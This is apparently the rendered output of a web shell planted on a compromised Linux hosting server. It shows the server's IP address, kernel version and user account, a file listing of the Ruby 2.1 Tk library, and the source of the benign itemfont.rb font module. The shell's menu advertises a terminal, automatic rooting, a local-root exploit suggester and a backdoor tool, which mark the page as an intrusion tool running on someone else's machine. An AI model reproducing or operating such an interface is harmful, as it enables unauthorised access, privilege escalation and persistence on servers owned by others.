Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby21 /
lib64 /
ruby /
2.1.0 /
tk /
Delete
Unzip
Name
Size
Permission
Date
Action
after.rb
127
B
-rw-r--r--
2023-07-26 17:52
autoload.rb
22.71
KB
-rw-r--r--
2023-07-26 17:52
bgerror.rb
667
B
-rw-r--r--
2023-07-26 17:52
bindtag.rb
2.67
KB
-rw-r--r--
2023-07-26 17:52
busy.rb
2.22
KB
-rw-r--r--
2023-07-26 17:52
button.rb
769
B
-rw-r--r--
2023-07-26 17:52
canvas.rb
22.82
KB
-rw-r--r--
2023-07-26 17:52
canvastag.rb
9.19
KB
-rw-r--r--
2023-07-26 17:52
checkbutton.rb
1001
B
-rw-r--r--
2023-07-26 17:52
clipboard.rb
1.64
KB
-rw-r--r--
2023-07-26 17:52
clock.rb
1.6
KB
-rw-r--r--
2023-07-26 17:52
composite.rb
11.87
KB
-rw-r--r--
2023-07-26 17:52
console.rb
1.27
KB
-rw-r--r--
2023-07-26 17:52
dialog.rb
8.9
KB
-rw-r--r--
2023-07-26 17:52
encodedstr.rb
4.55
KB
-rw-r--r--
2023-07-26 17:52
entry.rb
2.58
KB
-rw-r--r--
2023-07-26 17:52
event.rb
17.5
KB
-rw-r--r--
2023-07-26 17:52
font.rb
60.32
KB
-rw-r--r--
2023-07-26 17:52
fontchooser.rb
3.55
KB
-rw-r--r--
2023-07-26 17:52
frame.rb
3.45
KB
-rw-r--r--
2023-07-26 17:52
grid.rb
7.69
KB
-rw-r--r--
2023-07-26 17:52
image.rb
12.54
KB
-rw-r--r--
2023-07-26 17:52
itemconfig.rb
55.14
KB
-rw-r--r--
2023-07-26 17:52
itemfont.rb
9.29
KB
-rw-r--r--
2023-07-26 17:52
kinput.rb
1.56
KB
-rw-r--r--
2023-07-26 17:52
label.rb
609
B
-rw-r--r--
2023-07-26 17:52
labelframe.rb
1014
B
-rw-r--r--
2023-07-26 17:52
listbox.rb
7.82
KB
-rw-r--r--
2023-07-26 17:52
macpkg.rb
1.91
KB
-rw-r--r--
2023-07-26 17:52
menu.rb
20.04
KB
-rw-r--r--
2023-07-26 17:52
menubar.rb
4.08
KB
-rw-r--r--
2023-07-26 17:52
menuspec.rb
13.75
KB
-rw-r--r--
2023-07-26 17:52
message.rb
693
B
-rw-r--r--
2023-07-26 17:52
mngfocus.rb
672
B
-rw-r--r--
2023-07-26 17:52
msgcat.rb
8.46
KB
-rw-r--r--
2023-07-26 17:52
namespace.rb
14.34
KB
-rw-r--r--
2023-07-26 17:52
optiondb.rb
11.28
KB
-rw-r--r--
2023-07-26 17:52
optionobj.rb
4.87
KB
-rw-r--r--
2023-07-26 17:52
pack.rb
2.51
KB
-rw-r--r--
2023-07-26 17:52
package.rb
2.8
KB
-rw-r--r--
2023-07-26 17:52
palette.rb
1.13
KB
-rw-r--r--
2023-07-26 17:52
panedwindow.rb
7.76
KB
-rw-r--r--
2023-07-26 17:52
place.rb
3.86
KB
-rw-r--r--
2023-07-26 17:52
radiobutton.rb
1.98
KB
-rw-r--r--
2023-07-26 17:52
root.rb
2.04
KB
-rw-r--r--
2023-07-26 17:52
scale.rb
2.76
KB
-rw-r--r--
2023-07-26 17:52
scrollable.rb
1.74
KB
-rw-r--r--
2023-07-26 17:52
scrollbar.rb
4.66
KB
-rw-r--r--
2023-07-26 17:52
scrollbox.rb
1.13
KB
-rw-r--r--
2023-07-26 17:52
selection.rb
2.19
KB
-rw-r--r--
2023-07-26 17:52
spinbox.rb
3.04
KB
-rw-r--r--
2023-07-26 17:52
tagfont.rb
859
B
-rw-r--r--
2023-07-26 17:52
text.rb
45.64
KB
-rw-r--r--
2023-07-26 17:52
textimage.rb
2.22
KB
-rw-r--r--
2023-07-26 17:52
textmark.rb
4.91
KB
-rw-r--r--
2023-07-26 17:52
texttag.rb
7.76
KB
-rw-r--r--
2023-07-26 17:52
textwindow.rb
4.26
KB
-rw-r--r--
2023-07-26 17:52
timer.rb
14.46
KB
-rw-r--r--
2023-07-26 17:52
toplevel.rb
6.98
KB
-rw-r--r--
2023-07-26 17:52
ttk_selector.rb
2.98
KB
-rw-r--r--
2023-07-26 17:52
txtwin_abst.rb
785
B
-rw-r--r--
2023-07-26 17:52
validation.rb
9.61
KB
-rw-r--r--
2023-07-26 17:52
variable.rb
45.88
KB
-rw-r--r--
2023-07-26 17:52
virtevent.rb
3.51
KB
-rw-r--r--
2023-07-26 17:52
winfo.rb
8.36
KB
-rw-r--r--
2023-07-26 17:52
winpkg.rb
3.87
KB
-rw-r--r--
2023-07-26 17:52
wm.rb
14.83
KB
-rw-r--r--
2023-07-26 17:52
xim.rb
2.74
KB
-rw-r--r--
2023-07-26 17:52
Save
Rename
# # tk/itemfont.rb : control font of widget items # require 'tk' module TkItemFontOptkeys def __item_font_optkeys(id) # maybe need to override ['font'] end private :__item_font_optkeys end module TkTreatItemFont include TkItemFontOptkeys def __item_pathname(id) # maybe need to override [self.path, id].join(';') end private :__item_pathname ################################################ def tagfont_configinfo(tagOrId, key = nil) optkeys = __item_font_optkeys(tagid(tagOrId)) if key && !optkeys.find{|opt| opt.to_s == key.to_s} fail ArgumentError, "unknown font option name `#{key}'" end win, tag = __item_pathname(tagid(tagOrId)).split(';') if key pathname = [win, tag, key].join(';') TkFont.used_on(pathname) || TkFont.init_widget_font(pathname, *(__item_confinfo_cmd(tagid(tagOrId)))) elsif optkeys.size == 1 pathname = [win, tag, optkeys[0]].join(';') TkFont.used_on(pathname) || TkFont.init_widget_font(pathname, *(__item_confinfo_cmd(tagid(tagOrId)))) else fonts = {} optkeys.each{|key| key = key.to_s pathname = [win, tag, key].join(';') fonts[key] = TkFont.used_on(pathname) || TkFont.init_widget_font(pathname, *(__item_confinfo_cmd(tagid(tagOrId)))) } fonts end end alias tagfontobj tagfont_configinfo def tagfont_configure(tagOrId, slot) pathname = __item_pathname(tagid(tagOrId)) slot = _symbolkey2str(slot) __item_font_optkeys(tagid(tagOrId)).each{|optkey| optkey = optkey.to_s l_optkey = 'latin' << optkey a_optkey = 'ascii' << optkey k_optkey = 'kanji' << optkey if slot.key?(optkey) fnt = slot.delete(optkey) if fnt.kind_of?(TkFont) slot.delete(l_optkey) slot.delete(a_optkey) slot.delete(k_optkey) fnt.call_font_configure([pathname, optkey], *(__item_config_cmd(tagid(tagOrId)) << {})) next else if fnt if (slot.key?(l_optkey) || slot.key?(a_optkey) || slot.key?(k_optkey)) fnt = TkFont.new(fnt) lfnt = slot.delete(l_optkey) lfnt = slot.delete(a_optkey) if slot.key?(a_optkey) kfnt = slot.delete(k_optkey) fnt.latin_replace(lfnt) if lfnt fnt.kanji_replace(kfnt) if kfnt fnt.call_font_configure([pathname, optkey], *(__item_config_cmd(tagid(tagOrId)) << {})) next else fnt = hash_kv(fnt) if fnt.kind_of?(Hash) unless TkItemConfigMethod.__IGNORE_UNKNOWN_CONFIGURE_OPTION__ tk_call(*(__item_config_cmd(tagid(tagOrId)) << "-#{optkey}" << fnt)) else begin tk_call(*(__item_config_cmd(tagid(tagOrId)) << "-#{optkey}" << fnt)) rescue => e # ignore end end end end next end end lfnt = slot.delete(l_optkey) lfnt = slot.delete(a_optkey) if slot.key?(a_optkey) kfnt = slot.delete(k_optkey) if lfnt && kfnt TkFont.new(lfnt, kfnt).call_font_configure([pathname, optkey], *(__item_config_cmd(tagid(tagOrId)) << {})) elsif lfnt latintagfont_configure([lfnt, optkey]) elsif kfnt kanjitagfont_configure([kfnt, optkey]) end } # configure other (without font) options tk_call(*(__item_config_cmd(tagid(tagOrId)).concat(hash_kv(slot)))) if slot != {} self end def latintagfont_configure(tagOrId, ltn, keys=nil) if ltn.kind_of?(Array) key = ltn[1] ltn = ltn[0] else key = nil end optkeys = __item_font_optkeys(tagid(tagOrId)) if key && !optkeys.find{|opt| opt.to_s == key.to_s} fail ArgumentError, "unknown font option name `#{key}'" end win, tag = __item_pathname(tagid(tagOrId)).split(';') optkeys = [key] if key optkeys.each{|optkey| optkey = optkey.to_s pathname = [win, tag, optkey].join(';') if (fobj = TkFont.used_on(pathname)) fobj = TkFont.new(fobj) # create a new TkFont object elsif Tk::JAPANIZED_TK fobj = fontobj # create a new TkFont object else ltn = hash_kv(ltn) if ltn.kind_of?(Hash) unless TkItemConfigMethod.__IGNORE_UNKNOWN_CONFIGURE_OPTION__ tk_call(*(__item_config_cmd(tagid(tagOrId)) << "-#{optkey}" << ltn)) else begin tk_call(*(__item_config_cmd(tagid(tagOrId)) << "-#{optkey}" << ltn)) rescue => e # ignore end end next end if fobj.kind_of?(TkFont) if ltn.kind_of?(TkFont) conf = {} ltn.latin_configinfo.each{|key,val| conf[key] = val} if keys fobj.latin_configure(conf.update(keys)) else fobj.latin_configure(conf) end else fobj.latin_replace(ltn) end end fobj.call_font_configure([pathname, optkey], *(__item_config_cmd(tagid(tagOrId)) << {})) } self end alias asciitagfont_configure latintagfont_configure def kanjitagfont_configure(tagOrId, knj, keys=nil) if knj.kind_of?(Array) key = knj[1] knj = knj[0] else key = nil end optkeys = __item_font_optkeys(tagid(tagOrId)) if key && !optkeys.find{|opt| opt.to_s == key.to_s} fail ArgumentError, "unknown font option name `#{key}'" end win, tag = __item_pathname(tagid(tagOrId)).split(';') optkeys = [key] if key optkeys.each{|optkey| optkey = optkey.to_s pathname = [win, tag, optkey].join(';') if (fobj = TkFont.used_on(pathname)) fobj = TkFont.new(fobj) # create a new TkFont object elsif Tk::JAPANIZED_TK fobj = fontobj # create a new TkFont object else knj = hash_kv(knj) if knj.kind_of?(Hash) unless TkItemConfigMethod.__IGNORE_UNKNOWN_CONFIGURE_OPTION__ tk_call(*(__item_config_cmd(tagid(tagOrId)) << "-#{optkey}" << knj)) else begin tk_call(*(__item_config_cmd(tagid(tagOrId)) << "-#{optkey}" << knj)) rescue => e # ignore end end next end if fobj.kind_of?(TkFont) if knj.kind_of?(TkFont) conf = {} knj.kanji_configinfo.each{|key,val| conf[key] = val} if keys fobj.kanji_configure(conf.update(keys)) else fobj.kanji_configure(conf) end else fobj.kanji_replace(knj) end end fobj.call_font_configure([pathname, optkey], *(__item_config_cmd(tagid(tagOrId)) << {})) } self end def tagfont_copy(tagOrId, win, wintag=nil, winkey=nil, targetkey=nil) if wintag if winkey fnt = win.tagfontobj(wintag, winkey).dup else fnt = win.tagfontobj(wintag).dup end else if winkey fnt = win.fontobj(winkey).dup else fnt = win.fontobj.dup end end if targetkey fnt.call_font_configure([__item_pathname(tagid(tagOrId)), targetkey], *(__item_config_cmd(tagid(tagOrId)) << {})) else fnt.call_font_configure(__item_pathname(tagid(tagOrId)), *(__item_config_cmd(tagid(tagOrId)) << {})) end self end def latintagfont_copy(tagOrId, win, wintag=nil, winkey=nil, targetkey=nil) if targetkey fontobj(targetkey).dup.call_font_configure([__item_pathname(tagid(tagOrId)), targetkey], *(__item_config_cmd(tagid(tagOrId)) << {})) else fontobj.dup.call_font_configure(__item_pathname(tagid(tagOrId)), *(__item_config_cmd(tagid(tagOrId)) << {})) end if wintag if winkey fontobj.latin_replace(win.tagfontobj(wintag, winkey).latin_font_id) else fontobj.latin_replace(win.tagfontobj(wintag).latin_font_id) end else if winkey fontobj.latin_replace(win.fontobj(winkey).latin_font_id) else fontobj.latin_replace(win.fontobj.latin_font_id) end end self end alias asciitagfont_copy latintagfont_copy def kanjifont_copy(tagOrId, win, wintag=nil, winkey=nil, targetkey=nil) if targetkey fontobj(targetkey).dup.call_font_configure([__item_pathname(tagid(tagOrId)), targetkey], *(__item_config_cmd(tagid(tagOrId)) << {})) else fontobj.dup.call_font_configure(__item_pathname(tagid(tagOrId)), *(__item_config_cmd(tagid(tagOrId)) << {})) end if wintag if winkey fontobj.kanji_replace(win.tagfontobj(wintag, winkey).kanji_font_id) else fontobj.kanji_replace(win.tagfontobj(wintag).kanji_font_id) end else if winkey fontobj.kanji_replace(win.fontobj(winkey).kanji_font_id) else fontobj.kanji_replace(win.fontobj.kanji_font_id) end end self end end